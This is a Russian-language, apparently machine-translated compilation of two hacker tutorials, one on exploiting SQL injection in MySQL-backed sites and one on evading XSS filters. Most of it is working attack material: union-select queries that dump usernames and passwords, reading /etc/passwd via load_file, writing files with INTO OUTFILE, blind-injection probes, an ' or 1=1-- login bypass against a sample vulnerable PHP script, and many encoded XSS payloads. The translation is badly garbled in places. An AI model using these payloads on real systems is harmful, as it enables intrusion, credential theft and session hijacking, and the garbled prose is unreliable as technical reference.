Полное руководство по SQL инъекции


Что такое SQL Injection


SQL инъекция технике внедрения кода, эксплуатирующего уязвимость, происходящих в базе данных слой приложения. Уязвимость присутствует, когда ввод пользователя либо неправильно фильтруется для струнного буквенных символов побег встроенный в SQL заявления или введенные пользователем данные не строго типизированных и тем самым неожиданно выполнен. Это случай более общего класса уязвимостей, которые могут возникнуть, когда один программирования или скриптовый язык встроен в другой.

0x00 - Intro


Вся информация, содержащаяся в статье, из личного опыта, если Я не пойду на то, что вы сейчас делаете или видели в SQL инъекций, его, потому что я не использую его, не говорю, что я прав, что только так оно и есть . Как вы уже знаете, извлечение информации из базы данных сервера без утверждения администрации является незаконным и я не могу нести ответственность за любые вредоносные действия, выполненные после прочтения этой статье.

0x01 - Что такое MySQL


"SQL" означает "построена языка запросов", которая просто позволяет пользователям посылать запросы на сервер базы данных. Существуют различные типы SQL, таких как MSSQL, который является версией Microsoft, языка, а также имеет некоторые другие команды, а также синтаксис.

0x02 - Обнаружение SQL инъекций


Прежде чем перейти к этой теме я хочу объяснить вам, о комментариях в MySQL. Есть три варианта для комментариев на этом языке: 

--
/*
#

Как вы уже знаете, комментарии просто блокирует раздел, чтобы он не будет выполнен по запросу. Как правило, в любое время вы увидите страницу с веб-сайта, который принимает в paramater, таких как: 

?id=
?category_id=
?user_id=

(Не говорю, что инъекции сузили только параметры идентификатора, но они довольно часто), вы можете проверить страницы на уязвимость. Самый простой способ я знаю, для проверки уязвимости добавить: 

" and 1=1--

в конце URL-адреса и посмотреть, если содержимое страницы изменения, даже малейшей, если они не затем добавьте 

" and 1=0--

(Она не должна быть 1 = 1 или 1 = 0, только то, что возвращает верно для первого заявления и ложные в секунду) и посмотреть, если он изменяется после второго. Если содержимое изменится после второго запроса, то у вас есть уязвимости.

0x03 - сбор информации


Для того, чтобы ваша работа или жизнь немного легче, вы должны искать по всему сайту некоторые собрать информацию о том, что вы пытаетесь извлечь. Например, если сайт имеет вид регистрации пользователя в исходный код страницы и обратите внимание на имена полей, которые они используют (большинство разработчиков ленивы и использовать те же имена для простоты), вы также можете осмотреть место для более уязвимости. Хорошо так, как только вы нашли полезную информацию с нетерпением ждать, самое время узнать, сколько столбцов выбирается из базы данных от исходного запроса. Это важный шаг, потому что, если количество столбцов "выберите" и номер оригинального не идентичны, инъекции не работает! Чтобы узнать номер столбца можно просто добавить "порядок по х" на конце вашего уязвимых URL заменить "х" с увеличением числа пока вы не получите сообщение об ошибке 

http://www.site.com/vulnerable.php?id=4 order by 9--

Количество столбцов выбирается это значение х до ошибки.

0x04 - инъекция


Я полагаю, это то, где некоторые люди путаются. В MySQL для того, чтобы объединить два запроса заявления Вы можете использовать ключевое слово "союз", вы можете также включить слово "все", который будет dislay все результаты (по умолчанию свойство союза для удаления повторяющихся результатов дисплей). После того, как "объединение всех", вы также должны inlcude ключевое слово "выбор", так как мы будем хотеть, чтобы выбрать базу данных и отображение информации на экране до сих пор вы должны обратить внимание на что-то подобное: 

http://www.site.com/vulnerable.php?id=4 union all select

Continueing инъекции, как и в предыдущем примере будет работать нормально, но она также будет отображать все оригинальные результаты, а также наши новые результаты, как правило, в обход этого я, как и большинство других людей, использование SQL-инъекции, relace идентификатора значение, В нашем примере это будет 4, с одним из следующих действий: 

-1
null

или любой результат, который не был бы в базе данных, таким образом, первоначальный запрос на выборку не приведет ничего, кроме нашего нового вводится запрос на выборку будет отображаться. В SQL каждого столбца выбирается должны быть разделены запятой (,) так что если ваш сайт уязвимых выбор 4 колонки с первоначальным заявлением (которое было найдено ранее, когда мы собирали информацию с помощью «заказ»), вы бы просто concatinate тех на инъекцию, я хотел бы установить в каждом столбце в другой числовое значение, как я могу отслеживать, какие столбцы фактически отображается на экране. До сих пор, если все уже идет хорошо, вы должны иметь инъекции URL выглядеть примерно так: 

http://www.site.com/vulnerable.php?id=-1 union all select 1,2,3,4--

Если нет, то вернитесь назад и продолжайте чтение, пока не понять. В последней части нашего инъекции установка говоря запрос, таблица "выберите" информацию из, мы делаем это с помощью ключевого слова "из таблицы" ... очень нуждается explanitory не так ли? Так, например, у нас есть уязвимый сайт, который имеет 4 колонки выбирают, и мы хотим, чтобы посмотреть на «пользователей» таблицы мы можем иметь настройки, такие как: 

http://www.site.com/vulnerable.php?id=-1 union all select 1,2,3,4 from users--

Достаточно просто до сих пор, теперь, где это становится немного сложнее, но не слишком много.

0x05 - таблиц и столбцов


В зависимости от версии MySQL администраторы работают на сервере, найти имена таблиц и столбцов может быть очень простым или несколько раздражает. Существует простой способ выяснить, какая версия запущена на сервере, вы можете догадаться? Если вы не догадывались версии (), какого черта нет, его, как один из самых простых и само explanitory вещи никогда! В любом случае, заменить один из столбцов в инъекции, которая отображает на экране с версией вызова функции (), и это скажет вам, что обычно его либо 4.xx или 5.xx Если они работают или иной форме версии 4, то вы повторно в основном на свой собственный, когда дело доходит до выяснения имена таблиц и столбцов (я выложу несколько примеров распространенных имен позже), но если 5-й версии реализован, то ваша жизнь легка. Начиная с версии MySQL 5.1 разработчики начали автоматически включать основной базы данных на сервере INFORMATION_SCHEMA. В information_schema есть таблицы, которые дают информацию обо всех таблиц, столбцов, пользователи и т.д. по всей SQL Server (чтобы узнать больше о структуре information_schema и таблицы / столбцы имен посетить http://dev.mysql.com/doc / refman/5.0/en/information-schema.html). После того как вы выяснить имя таблицы и некоторые имена столбцов в этой таблице вы хотите посмотреть на просто разместить их в нашу инъекций установки от до, предположим, у нас есть сайт, который имеет "пользователи" таблицы и столбцов "пользователь" и "пас" , а второй и третий столбцы отображаются на экране, мы могли бы рассматривать эти по инъекций, таких как: 

http://www.site.com/vulnerable.php?id=-1 union all select 1,user, pass, 4 from users--

Этот пример покажет, как пользователя и пароль на экран в данной позиции, несмотря на то, что произойдет, если только один столбец выбран или отображается? В MySQL есть функция под названием CONCAT (), которая просто concatinates поля вместе так, чтобы упростить нашу privious Например, мы могли бы: 

http://www.site.com/vulnerable.php?id=-1 union all select 1, concat(user,0x3a, pass), 3, 4 from users--

"0x3a" это просто двоеточие (:) в шестнадцатеричном, просто отделить два поля для собственного просмотра.

0x06 - Сужение выбора


Обычно при выполнении SQL инъекция есть несколько результатов вы хотите посмотреть или возможно только одного человека. Есть несколько способов, чтобы сузить выбор Первый способ заключается в использовании ", где" ключевое слово просто берет логического параметра, такие как "где ID = 1", который будет выглядеть в идентификатор столбца в таблице, и определить, какие строки равным 1. Следующий способ использования "лимита" ключевое слово, и таким образом немного более полезно, поскольку вам не нужно знать имя дополнительные колонки для увеличения через предел выборов принимает два параметра, с чего начать выбор, и как много, чтобы выбрать . Поэтому, чтобы выбрать только первый "пользователь" со стола "пользователи" с помощью "предел" ключевое слово может иметь: 

http://www.site.com/vulnerable.php?id=-1 union all select user from users limit 0,1--

смотреть на остальных пользователей в отдельности просто увеличиваем 0 до пока Вы не получите сообщение об ошибке. Для того, чтобы взглянуть на все результаты в одной салфетки можно использовать функцию group_concat (), который работает очень похоже на CONCAT () за исключением того, отображает все результаты для данного столбца (ы) разделенных запятыми (,) ( запятой просто по умолчанию, вы можете изменить его с помощью "разделителя" ключевое слово и указать символ для использования).

0x07 - Препятствия


Исключая тот факт, что версии 4 в целом является одним из препятствий, есть несколько различных веб вещи разработчики могут сделать, чтобы попытаться сделать SQL-инъекции немного сложнее. Наиболее распространенными из этих неприятностей было бы magic_quotes, в основном волшебные кавычки запрещает любой вид кавычек и разбивает его, добавляя обратный слеш (\), что, конечно, будет портить ваши инъекции. Чтобы обойти это есть хороший маленький символ функции (); символ () принимает значения ASCII и генерирует соответствующие значения характер, тем самым устраняя необходимость для цитаты. Пример время ..., мы хотим, чтобы посмотреть на "проход" столбец таблицы "Пользователи", но только там, где "пользователь" столбец только равный "администратора" и на сайте выбирает только одну колонку от первоначального запроса, легко Достаточно ли? Мы узнали об этом раньше 

http://www.site.com/vulnerable.php?id=-1 union all select pass from users where user="admin"--

Кривая мяч! Разработчики включили magic_quotes поэтому ваш "администратора" не будет работать должным образом ... Я знаю его грустным. Чтобы исправить это, мы просто берем ASCII значения каждого символа (http://crashoverron.t35.com/ascii.php), так что теперь мы получаем 

http://www.site.com/vulnerable.php?id=-1 union all select pass from users where user=char(97,100,109,105,110)--

ТА-ДА! введение фиксированной. Кроме того, другой функцией безопасности пытаются блокировать нас есть регулярные выражения для поиска наш вклад, но часто у них есть свои выражения установлен в таких узких возможностей, которые вы можете обойти их, просто меняется так, символ комментария, или заменяя пробелы " + "(SQL не чувствителен к регистру, он также считает, что" + "в качестве наполнителя пространства так же, как пространство).

0x08 - Дополнительные возможности


Хотя я уже говорил ранее версии 4 была боль в заднице, я также заметил, приятной особенностью, общей для версии 4 уязвимых сайтов, которые я встречал в своих приключениях, эта функция будет функцией load_file (), не говорю, что функция является эксклюзивным до версии 4, но из моего опыта, чаще всего включена для текущих пользователей разработчики по каким-то причинам в этой версии. load_file () работает так же, как file_get_contents () из PHP в том, что она возвращает содержимое файла в строку формата.Если этот параметр включен, что позволяет не только для SQL хаки стилей на сервере, теперь позволяет уязвимостей LFI также. Несмотря на то, load_file () должен иметь точные полный путь к файлу, который вы пытаетесь открыть, например: / Главная / CrashOverron / Desktop / файл, и если вводить как строку символов, то оно должно быть заключено в кавычки, который приносит назад вопрос о magic_quotes но по-прежнему использовать только символ () функцию.Следующая интересная особенность, которая вряд ли возможно, но я видел случиться, это использование "INTO OUTFILE" ключевых слов. Это полная противоположность load_file () для того, чтобы использовать любую из этих возможностей текущего пользователя, что MySQL работает как должно быть FILE привилегии на сервере. Опять же, полный путь, необходимых для выходного файла, который не может быть существующий файл, хотя в отличие от load_file () символ () функция не исправить magic_quotes. Время для примера так, вот ситуация: уязвимый сайт 1 колонка выбраны также «пользователей» стола. magic_quotes load_file нет: 

http://www.site.com/vulnerable.php?id=-1 union all select load_file('/etc/passwd')--

load_file с magic_quotes: 

http://www.site.com/vulnerable.php?id=-1 union all select load_file(char(47,101,116,99,47,112,97,115,115,119,100))--

INTO OUTFILE: 

http://www.site.com/vulnerable.php?id=-1 union all select "test" INTO OUTFILE "/etc/test" from users--

0x09 - Blind SQL Injection


Слепые инъекции SQL происходит, когда первоначальный запрос на выборку получает информацию столбца, но не отображает его на экране. Для того, чтобы продолжать с помощью слепой SQL-инъекции необходимо в основном грубой силой любое значение вы хотите знать.Есть несколько функций, которые можно использовать в связке друг с другом, что сделать это довольно простой, но утомительный, это были бы в середине () и ASCII () функции. середина () является подстрокой функции MySQL и ASCII () делает прямо противоположное символ () он принимает характер и обмена его с соответствующим значением ASCII цифры. Делать это позволяет определить диапазон каждого из наших нужное значение в ASCII на графике, что сужение каждого вниз, пока не найдем матча. Пример ситуации, мы обнаружили, что сайт является уязвимым к слепой SQL-инъекции, и мы хотим, чтобы выяснить, какой пользователь MySQL в настоящее время работает как наша инъекция последовательность может выглядеть примерно так: 

http://www.site.com/vulnerable.php?id=1 and ascii(mid(user(),1,1)) < 97--

(Это скажет нам, если первая буква в пользовательском выше / ниже "", то мы можем изменить 97 различных значения, пока не найдем символ первой букве) 

http://www.site.com/vulnerable.php?id=1 and ascii(mid(user(),2,1)) < 97--

(Так же, повторяю, как и прежде поддерживать увеличивая через буквы, и вы будете в конечном счете, для текущего пользователя)

0x10 - Вход байпаса


Хорошо, я оставил это в конце, потому что это на самом деле не очень распространен больше, но буду через него, потому что я полагаю, вы можете столкнуться он однажды (я только натыкался на этот раз уязвимость в реальном мире). Концепция, лежащая в обход входа SQL достаточно прост, для того, чтобы выполнить использовать вводе имени пользователя в поле пользователя, то в поле пароля в виде вы положите: 

' or 1=1--

это просто заканчивается текущее поле пароля и включает в себя логическое ИЛИ с постоянным верное утверждение. Простой вход в MySQL скрипт может выглядеть следующим образом: 
<?php $user = $_POST['user']; $pass = $_POST['pass']; $ref = $_SERVER['HTTP_REFERER']; if((!$user) or (!$pass)) { header("Location:$ref"); exit(); } $conn = @mysql_connect("localhost", "root", "blah") or die("Could not connect"); $rs = @mysql_select_db("db", $conn) or die("db error"); $sql = "SELECT * FROM users WHERE user=\"$user\" AND pass=\"$pass\""; $rs = mysql_query($sql, $conn) or die("query error"); $num = mysql_numrows($rs); if($num != 0) { echo("Welcome $user"); } else { header("Location:$ref"); exit(); } ?> 

так что, если мы введем пользователя "администратор" и "" или 1 = 1 - "в качестве пароля запрос отправляется на сервер будет выглядеть следующим образом: 
"SELECT * FROM users WHERE user="admin" AND pass="" or 1=1--"

так что сервер будет выбрать строку, в которой "пользователь" равно "администратора" и игнорировать, если "проход" это правильно, потому что он спрашивает, если проход OR 1 = 1, правда, с 1 = 1 всегда истинно вам обойти проходить секции.

0x11 - Полезные Ключевые слова / Функции



UNION ALL SELECT AND/OR ORDER BY WHERE LIMIT LIKE INTO OUTFILE char() ascii() mid() concat() group_concat() load_file() user() database() version()
Автор CrashOverron

Полное руководство по XSS


Что такое Cross Site Scripting?


Межсайтовый скриптинг (XSS) представляет собой тип уязвимости компьютерной безопасности, обычно можно найти в веб-приложения, которые позволяют внедрения кода злоумышленника в сети веб-страниц, просмотренных других пользователей. Межсайтовый скриптинг отверстия в целом можно рассматривать как уязвимости, которые позволяют злоумышленникам обойти механизмы безопасности. Найдя умные способы инъекционных вредоносных скриптов на веб-страницы злоумышленник может получить повышенные привилегии доступа к конфиденциальной информации страниц, куки сессии, а также ряд других объектов. 
Есть три различных типа XSS-уязвимости: 
нестойкий 
постоянный 
и DOM основе (который может быть постоянным или непостоянные). 

Непостоянные межсайтовый скриптинг отверстие, также упоминается как отражение уязвимости, и на сегодняшний день является наиболее распространенным типом. Эти отверстия появляются, когда данные, предоставляемые веб-клиента используется сразу же сценарии на стороне сервера для создания страницы результатов для этого пользователя. Классическим примером этого является в двигателях поиска по сайту: если один ищет строку, которая включает в себя несколько специальных символов HTML, часто в строку поиска будет перерисована на странице результатов, чтобы указать, что искали, или по крайней мере, включать в условия поиска В текстовом поле для упрощения редактирования. Если возникновение условий поиска не HTML сущность закодирована, XSS дыра будет результат. 

Стойкие уязвимость XSS, также упоминается как хранится или второго порядка уязвимость, и это позволяет наиболее мощных видов атак. 2 типа XSS-уязвимость, когда данные в веб-приложения пользователем сначала сохраняется постоянно на сервере (в базе данных, файловой системы, или в другом месте), а затем отображается для пользователей на веб-странице без закодированы с помощью HTML лиц. Классическим примером этого является с интернет-форумы, где пользователи могут оставлять сообщения. 

DOM на основе XSS уязвимость, также известный как местные межсайтовый скриптинг, базируется на стандартной модели объектов для представления HTML или XML называется объектной модели документа DOM или для краткости. С DOM на основе межсайтового уязвимости сценариев, проблема существует в клиентский сценарий страницы себе. Например, если кусочек JavaScript обращается к параметру URL запроса и использует эту информацию, чтобы написать несколько HTML в свою собственную страницу, и эта информация не кодируется с помощью HTML лиц, XSS дыра, вероятно, будет настоящим, так как это написано данные будут повторно интерпретируются браузерами HTML, которые могут включать в себя дополнительные сценарии на стороне клиента.

Поиск уязвимостей XSS


Наиболее распространенный тест использовали XSS-инъекций:

<script>alert("XSS")</script>

При этом примере вводится в поле ввода или URL параметр, либо уволить или не удастся. Если инъекция не удается, это не значит, сайт находится в безопасности, это просто значит, нужно искать глубже.

XSS-фильтр Уклонение


Спасаясь от строк

На первом этапе, чтобы просмотреть исходный код на веб-странице и посмотреть, если вы можете найти вводится строка в HTML.There несколько мест, вы можете найти его в полной неприкосновенности, но скрыта от случайного observer.The первый в качестве входного параметра:

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

В этом примере мы можем изменить наш вклад в нее включены два символа, которые позволяют вводить код, чтобы перейти из одной цитаты:

'><SCRIPT>alert("XSS")</SCRIPT>

Теперь наш код делает, потому что мы закончили инкапсуляция входных и HTML-теги перед нашим вектором, который позволяет ему стрелять. Однако в этом случае посторонний одинарные кавычки и закрытые угловые скобки отображаются на веб-page.This может быть подавлена, если мы обновляем наш вектор в следующем:

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

Это превращает код выхода в:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

В результате, код JavaScript вводится без видимых указанием его existence.The теги a=''> <xss не делает, потому что он не является допустимым.

Рабочие около фильтром Цитаты

Давайте будем использовать тот же самый пример выше, но взять на себя веб-мастеров включен код поставить косую черту перед любым одинарные или двойные кавычки (например, add_slashes ()). Наш предыдущий вектор без последней части будут теперь в:

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

Есть несколько методов, чтобы попытаться обойти это все зависит от фильтра на место. Один из способов заключается в использовании символа лиц. Некоторые символы, охраняются в HTML.Например, вы не можете использовать больше или меньше знаков в тексте, потому что браузер может принять их за разметкой. Если мы хотим, чтобы браузер на самом деле отображает эти символы мы должны вставить символ лиц в HTML источник.

"""кавычки, APL цитатой
ИИИамперсант
<<<знак меньше
>>>знак больше

Использование кода (") или (") на месте нашей котировки является одним из способов, чтобы попытаться обойти цитатой фильтрации. Пример:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

Если без кавычек любого рода допускается Вы можете использовать fromCharCode в JavaScript для создания любого XSS код, который нужно. FromCharCode () принимает указанные значения Юникод и возвращает строку. Пример:

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT Type="text" value='\'> <SCRIPT> оповещения (String.fromCharCode (88,83,83)) </ SCRIPT> ">

Вы можете использовать для MySQL символов (ASCII, ASCII, ...): калькулятор ниже перевести код в CharCode.

Обход фильтрации <SCRIPT>

Некоторые фильтры будут отфильтровывать <script> что делает невозможным для любого из приведенных выше примеров, чтобы работать. Однако, есть много других способов, чтобы вставить JavaScript в веб-страницы. Давайте посмотрим на примере обработчик событий:

<BODY onload="alert('XSS')">

"OnLoad" ключевое слово в HTML представляет собой обработчик событий. Это не будет работать со всеми HTML-теги, но он особенно эффективен в теле tags.That сказал, что есть случаи, когда такой подход не сможет, например, когда событие BODY OnLoad обработчик ранее перегруженной выше на странице перед вектор показывает вверх. Еще один полезный пример обработчика OnError:

<IMG SRC="" onerror="alert('XSS')">

Поскольку изображение плохо определены, OnError Обработчик события вызывают пожары JavaScript внутри него, чтобы сделать, все, даже не называя <script> тегов.

Использование IMG SRC

Два наиболее часто допускаются HTML теги <A HREF, который используется для встроенных ссылок и <IMG, которая используется для встроенных изображений. Из этих двух, наиболее опасным является IMG тег. Последующих приводится несколько примеров того, почему этот тег является проблематичным:

<IMG SRC="nojavascript...alert('XSS');">

Без кавычек и без точки с запятой:

<IMG SRC=nojavascript...alert('XSS')>

Фильтрация котировок и сценарий:

<IMG SRC=nojavascript...alert(&quot;XSS&quot;)>

Использование CharCode обойти фильтрацию кавычек:

<IMG SRC=nojavascript...alert(String.fromCharCode(88,83,83))>

Простой вектор атаки, как один из приведенных выше, может быть еще более запутанным, превращая всю строку в десятичный эквивалент ASCII символов:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Использование ASCII таблице вы можете расшифровать этот пример, а затем использовать тот же метод запутывания для создания собственного инъекционного строки. То же самое можно сделать для шестнадцатеричных:

<IMG SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>

В то время как JavaScript: директивы синтаксис внутри изображения был обесценился с IE 7.0, он все еще работает в IE 6.0, Opera 9.0, Netscape 8.0 (когда движок IE, хотя он также обесценился на 8.1)

Использование Tab, New Line, и возврат каретки

Символов табуляции, новой строки и возврата каретки может также использоваться, чтобы обмануть фильтры XSS.

<IMG SRC="jav&#x9ascript:alert('XSS');">

В приведенном выше примере используется вкладка минимального размера десятичной разбить стажер слово JavaScript разбивая XSS и обмана фильтров. Выход выше будет выглядеть следующим образом:

<IMG SRC = "яв
ascript: предупреждение ('XSS'); ">


Горизонтальная табуляцияНовая строкаВозврат каретки
URL% 09% 10% 13
Минимальная Sized Hex
Максимального размера Hex
Минимального размера десятичной& # 9
Максимального размера десятичной

Использование нулевого символа

Другой персонаж, который может вызвать проблемы для фильтров нулевого символа. Это один из самых непонятных и мощных инструментов в любой XSS арсенал. Рассмотрим пример URL, который может привести к действительному инъекций:

<SCRIPT>alert("XSS")</SCRIPT>

Нулевой символ (% 00) останавливает фильтры от признания <SCRIPT> тегов. Это работает только в IE 6.0, IE 7.0, Netscape 8.0 и IE в режиме рендеринга.

Не фильтрации внутри инкапсуляции пар

Обход фильтрации, который ищет открытые и закрытие пары инкапсуляции внутри HTML-теги и игнорировать содержимое. Пример:

<IMG """><SCRIPT>alert('XSS')</SCRIPT>">

Технически, внутри тега IMG, первые две цитаты следует рассматривать инкапсуляции и должны сделать nothing.The следующая цитата должна позволить инкапсуляцию и перейти к следующей цитатой который после </ SCRIPT> тег. Наконец, она должна быть закрыта задней угловой скобки конца. Но все основные браузеры, такие как IE, Firefox, Netscape или опера принять это как неправильный HTML и попытаться исправить. Выход тогда выглядит так:

<img><script>alert('xss')</script>"&gt;

CSS фильтров Уклонение

HTML является полезным инструментом для потребителей инъекционных JavaScript, но не единственный инструмент еще более сложной подкласс HTML является таблицей стилей или CSS. Есть много различных способов внедрить XSS в таблицы стилей, а еще больше способов их использования для введения JavaScript. . Самый простой способ внедрить JavaScript в тег ссылки CSS, с помощью директивы JavaScript.

<LINK REL="stylesheet" HREF="nojavascript...alert('XSS');">

Тем не менее, IE обесценился это как 7.0, и она больше не работает, вы можете заставить его работать в театре оперы и пользователей, которые до сих пор IE 6.0. Другой способ заключается в использовании <STYLE> тегов. Это редкое, что пользователи имеют доступ к изменять стили, но это случится. Это чаще встречается в случаях форумах, где пользователи имеют доступ к верстки и дизайна на своем посту. Следующее будет работать в IE и Netscape в IE режим рендеринга: <STYLE> {ширина: выражение (оповещение ("XSS"))} </ STYLE> <A> Используя приведенные выше в качестве примера, можно увидеть, как Выражение тег позволяет злоумышленнику внедрить JavaScript без использования директивы JavaScript или <SCRIPT> тегов.

<DIV STYLE="width: expression(alert('XSS'));">

Obscure фильтры

Давайте возьмем пример, где разработчиком приняло пользовательского ввода и заверил, что он не содержит кавычки, не угловыми скобками, а не JavaScript директивы. Тем не менее, это не безопасно, так как мы можем вводить так называемую директиву данных в этом случае мы имеем формате base64 простое предупреждение <script> строки ('XSS') </ SCRIPT>.

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Данные директивы позволяет вводить целые документы в одну строку. Данные директивы работает в Firefox, Netscape Gecko в режиме рендеринга, а также Opera.

Использование двойных кавычках

Если вам нужно использовать как одинарные и двойные кавычки можно использовать апостроф для инкапсуляции строк JavaScript - это тоже полезно, потому что много межсайтовый фильтры сценариев не знают о серьезных акцентов.

<IMG SRC=`nojavascript...alert("Look its, 'XSS'")`>

Экранирование символов

Спасаясь котировки иногда полезно, когда есть собственные письменные защиты от XSS. Это позволит вам избежать выхода символов, используемых XSS-фильтра сценарий. 
Стоит отметить, что это будет работать только, если это собственные письменные (слабых) защита сценарий.

<IMG SRC=`nojavascript...alert(\"XSS\")`>

Результат будет выглядеть так:

<IMG SRC=`nojavascript...alert(\\"XSS\\")`>

Как вы можете видеть свои управляющие символы теперь отфильтровать управляющих символов используется XSS защиты.

Кодирование

Часто считается, что если все угловые скобки и кавычки были отфильтрованы, что XSS уже невозможно. Однако XSS это зависит от браузера, так долго, как браузер может понять другие методы кодирования, вы можете столкнуться с ситуациями, когда браузер будет выполнять команды без всех этих персонажей.
Реальный пример XSS-уязвимость закодированы было найдено в Google Search Appliance, по хакер по имени Maluc. Maluc обнаружили, что обычный поиск Google устройство запрос выглядит так:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro">http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro xystylesheet=stanford&site=stanfordit&oe=UTF-8&q=hi

Он заметил, что в соответствии с этой строкой (э = UTF-8), он может изменить UTF кода. Он изменил строку из UTF UTF-8 в UTF-7.
UTF-7 (7-битный формат Unicode Transformation) является переменной длины кодировки символов, который был предложен для представления Unicode кодировкой текста, используя поток символов ASCII, например, для использования в Интернете сообщения электронной почты. UTF-7, как правило, не используется в качестве родного представление в приложениях, поскольку это очень неудобно обрабатывать несмотря на свои размеры преимущество по сравнению с комбинацией UTF-8 или quoted-печати или base64.
Возьмем для примера:

<script>alert("XSS")</script>

И кодировать его в кодировке UTF-7:

+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

+ Теперь все должно быть изменено на URL в коде GET строки для этой работы. Таким образом, URL код +% 2B это теперь у нас есть:

%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-

URL кодирование превращает строку в безопасную блок текста для добавления в строке запроса URL.To кодирования символов, чтобы добавить к URL, можно использовать символ процента, за которым следуют две цифры шестнадцатеричного числа, представляющего этот символ.
Например:

Оригинальный характерСсылки на символы
пространство% 20
/ (Косая черта)% 2F
"(Двойные кавычки)% 22
? (Знак вопроса)% 3F
+% 2B

При этом Maluc придумал:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro">http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro xystylesheet=stanford&site=stanfordit&oe=UTF-7&q=%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-x

И смогла успешно выполнить XSS сценария.
Конечно, эффект от XSS носит временный характер и влияет только на пользователей, которые идут в том, что URL-адреса, но это легко может обеспечить возможности для фишинга. Таким образом, Google прибор повредить безопасности Стэнфордского университета, будучи помещен на том же домене.
Автор Override и Killordie